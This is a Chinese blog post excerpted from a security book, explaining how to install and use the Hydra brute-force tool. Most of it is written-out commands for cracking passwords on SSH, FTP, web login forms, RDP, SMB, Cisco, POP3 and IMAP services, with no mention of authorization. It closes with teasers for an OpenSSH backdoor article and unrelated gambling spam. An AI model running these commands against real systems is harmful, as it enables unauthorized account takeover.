暴力破解工具Hydra

管理員賬號

2016-12-21

小編說:Hydra是世界頂級的密碼暴力破解工具,支持幾乎所有協議的在線密碼破解,功能強大,密碼能否被破解的關鍵取決于破解字典是否足夠強大。在網絡安全滲透過程中,Hydra是一款必備的測試工具,配合社工庫進行社會工程學攻擊,有時會獲得意想不到的效果。
本文選自《黑客攻防:實戰加密與解密》

Hydra簡介

Hydra是著名黑客組織thc開發的一款開源的暴力密碼破解工具,可以在線破解多種密碼,目前已經被Backtrack和kali等滲透平臺收錄。除了命令行下的Hydra外,還提供了Hydra-GTK版本(有圖形界面的Hydra),其官方網站是http://www.thc.org/thc- hydra。

Hydra的最新版本為Hydra 7.6,它支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM- POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP等類型密碼的破解。

Hydra的安裝與使用

Hydra可以在Debian和Ubuntu等環境下安裝和使用。

1.在Debian和Ubuntu環境下安裝Hydra

如果是Debian和Ubuntu發行版,會自帶Hydra,可直接使用apt-get命令在線安裝,命令如下。

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev     libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra

如果要使用Redhat/Fedora發行版的源碼包編譯安裝,需要先安裝相關依賴包,命令如下。

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel

2.安裝CentOS

CentOS的安裝命令如下。

# tar zxvf hydra-7.6-src.tar.gz
# cd hydra-6.0-src
# ./configure
# make
# make install

3.使用Hydra

BT5和kali都默認安裝了Hydra。在kali中,依次單擊“kali Linux”→“Password Attacks”→“Online Attacks”→“hydra”選項即可打開Hydra。在CentOS終端中,輸入命令“/usr/local/bin/hydra”即可打開該暴力破解工具。除此之外,還可以通過“hydra-wizard.sh”命令進行向導式設置來密碼破解。

4.安裝libssh

如果不安裝libssh,運行Hydra破解賬號時會出現錯誤。下圖所示,顯示錯誤提示信息“[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!”。在CentOS下運行如下命令即可解決此問題。

yum install cmake
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install
cd /test/ssh/hydra-7.6    //此為下載Hydar并解壓的目錄
make clean
./configure
make
make install

5.Hydra參數詳細說明

Hydra命令示例如下。

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

-l LOGIN:指定破解的用戶名稱,對特定用戶破解。

-L FILE:從文件中加載用戶名進行破解。

-p PASS:小寫字母“p”,指定密碼破解,少用,一般采用密碼字典。

-P FILE:大寫字母“P”,指定密碼字典。

-C FILE:使用冒號分割格式,如“登錄名:密碼”代替“-L”和“-P”參數。

-e nsr:可選選項,“n”表示空密碼試探,“s”表示使用指定用戶和密碼試探。

-t TASKS:同時運行的連接的線程數,每一臺主機默認為16。

-M FILE:指定服務器目標列表文件為每行1條。

-w TIME:設置最大超時時間,單位為秒,默認為30秒。

-o FILE:指定結果輸出文件。

-f:在使用“-M”參數以后,在找到第1對登錄名或者密碼時中止破解。

-v / -V:顯示詳細過程。

-R:繼續上一次破解。

-S:采用SSL鏈接。

-s PORT:可通過這個參數指定非默認端口。

-U:服務模塊使用細節。

-h:更多的命令行選項(完整的幫助文檔)。

server:目標服務器名稱或者IP地址(使用此選項或“-M”選項)。

service:指定服務名,支持的服務和協議包括Telnet、FTP、POP3[-ntlm]、IMAP[-ntlm]、SMB、SMB NT、http[s]-{head|get}、http-{get|post}-form、http-proxy、Cisco、Cisco-Enable、VNC、LDAP2、LDAP3、MSSQL、MySQL、Oracle-Listener、Postgres、NNTP、Socks5、REXEC、Rlogin、PCNFS、SNMP、RSH、CVS、SVN、ICQ、SAPR3、SSH2、SMTP-Auth[-ntlm]、pcAnywhere、TeamSpeak、SIP、Vmauthd、Firebird、NCP、AFP等。

OPT:一些服務模塊支持額外的輸入(“-U”選項用于獲取模塊的幫助信息)。

Hydra使用實例

本節給出Hydra的用法實例。

1.破解SSH賬號

破解SSH賬號有兩種方式,一種是指定賬號破解,另一種是指定用戶列表破解,命令如下。

hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip ssh

例如,輸入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”,對IP地址為192.168.44.139的root賬號密碼進行破解,破解成功后顯示其詳細信息如下。

輸入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh”,將掃描結果保存在save.log文件中,使用“cat save.log”命令查看掃描結果,如下。

2.破解FTP賬號

(1)破解指定用戶名密碼

hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV

(2)批量破解FTP賬號和密碼

hydra -L list_user -P list_password 192.168.56.101 ftp -V

對FTP服務器(192.168.56.101)進行密碼破解。

3.GET方式提交,破解Web登錄

hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /admin/
hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php

4.POST方式提交,破解Web登錄4.POST方式提交,破解Web登錄

(1)hydra -l 用戶名 -P 密碼字典 -s 80 ip http-post-form “/admin/login.php: username= ^USER^ &password=^PASS^&submit=login:sorry password”

hydra -L list_user -P list_password 192.168.0.115 http-post-form "member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1:fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&handlekey=ls:Login failed" –V

以上示例表示對192.168.0.115進行破解,需要定義登錄的URL,以及設置登錄驗證和錯誤登錄標記,效果如圖。

member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1
fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&handlekey=ls
Login failed

(2)對admin密碼進行破解

hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.0.115 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"

“-t”表示同時線程數為3;“-l”表示用戶名是“admin”,字典為pass.txt,保存為out.txt;“-f”表示破解1個密碼就停止;“192.168.0.115”表示目標IP地址;“http-post-form”表示采用HTTP的POST方式提交表單密碼破解;“”中的內容是錯誤猜解的返回信息提示。</p>

5.破解HTTPS

hydra -m /index.php -l muts -P pass.txt 192.168.0.115 https

6.破解teamspeak

hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak

7.破解Cisco

hydra -P pass.txt 192.168.0.115 cisco
hydra -m cloud -P pass.txt 192.168.0.115 cisco-enable

8.破解SMB

hydra -l administrator -P pass.txt 192.168.0.115 smb

9.破解POP3

hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解遠程終端賬號

(1)破解管理員賬號

hydra ip rdp -l administrator -P pass.txt -V

(2)批量破解賬號

hydra -s 3389 192.168.44.138 rdp -L user.txt  -P pwd.txt –V

破解效果如圖。

11.破解HTTP-Proxy

hydra -l admin -P pass.txt http-proxy://192.168.0.115

12.破解IMAP

hydra -L user.txt -p secret 192.168.0.115 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

讀者評論

相關博文

  • Linux OpenSSH后門的添加與防范

    Linux OpenSSH后門的添加與防范

    管理員賬號 2017-02-14

    小編說:相對于Windows,Linux操作系統的密碼較難獲取。不過很多Linux服務器配置了OpenSSH服務,在獲取root權限的情況下,可以通過修改或者更新OpenSSH代碼等方法,截取并保存其SSH登錄賬號和密碼,甚至可以留下一...

    管理員賬號 2017-02-14
    217 0 0 0
  • Linux OpenSSH后門的添加與防范

    Linux OpenSSH后門的添加與防范

    小編說:相對于Windows,Linux操作系統的密碼較難獲取。不過很多Linux服務器配置了OpenSSH服務,在獲取root權限的情況下,可以通過修改或者更新OpenSSH代碼等方法,截取并保存其SSH登錄賬號和密碼,甚至可以留下一...

    管理員賬號
    653 0 0 0
国际官方棋牌下载中心 河北快3走试 江苏快三跨度最新走势 期货配资流程步骤 快三专家预测和值推荐 信托理财平台 江西时时彩历史开奖号码 湖南福彩动物一定牛 鑫恒盈配资 上海时时乐出号走 广西快乐十分必赢公式